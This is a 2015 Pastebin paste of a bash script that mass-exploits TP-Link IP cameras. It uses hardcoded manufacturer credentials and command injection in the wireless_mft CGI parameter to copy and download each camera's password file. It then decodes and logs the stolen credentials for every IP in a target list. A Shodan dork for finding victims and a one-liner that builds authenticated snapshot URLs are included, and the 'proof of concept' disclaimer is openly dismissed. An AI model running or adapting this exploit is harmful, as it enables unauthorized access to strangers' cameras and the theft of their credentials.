Pastebin PRO Accounts SPRING SPECIAL! For a limited time only get 40% discount on a LIFETIME PRO account! Offer Ends April 18th!
SHARE
TWEET
TP-Link Cam Checker - 8ch.net/ipcam/
a guest
Sep 19th, 2015
151
Never
- #!/bin/bash
- #
- # By evil @ 8ch.net/ipcam/
- #
- # This is a proof of concept and is not intended to be used
- # to gain unauthorized access to IP camera systems. Otherwise,
- # do whatever the fuck you want with it.
- # Create a file called whatever-in.txt with your IP list.
- # Run as ./tplink.sh yourfile
- # Example $./tplink.sh argentina
- # Where your file with the list of IPs is called argentina-in.txt
- # SHODAN DORK "Server: Boa/0.94.14rc21" camera
- # turn your outfile into nice strings for HTML
- # cat outfile.txt | sed -n "s#\(.*\) | \(.*\)#http://\2@\1/jpg/image.jpg#p" >> tplinkSnapshot.txt
- IPS="$(< $1-in.txt)"
- for IP in $IPS; do
- TRY1="$(curl -u manufacture:erutcafunam -sL --connect-timeout 10 -m 45 -w "%{http_code}" "$IP/cgi-bin/mft/wireless_mft?ap=123;cp%20/var/www/secret.passwd%20/web/html/c" -o /dev/null)"
- if [ "$TRY1" -eq 200 ]
- then
- #this should go to /dev/null but whatever, it shows progress
- UP="$(curl "$IP/c" | head -n1 | awk '{print $NF}' | base64 -d)"
- echo "$IP | $UP" >> "$1-out.txt"
- fi
- done
RAW Paste Data
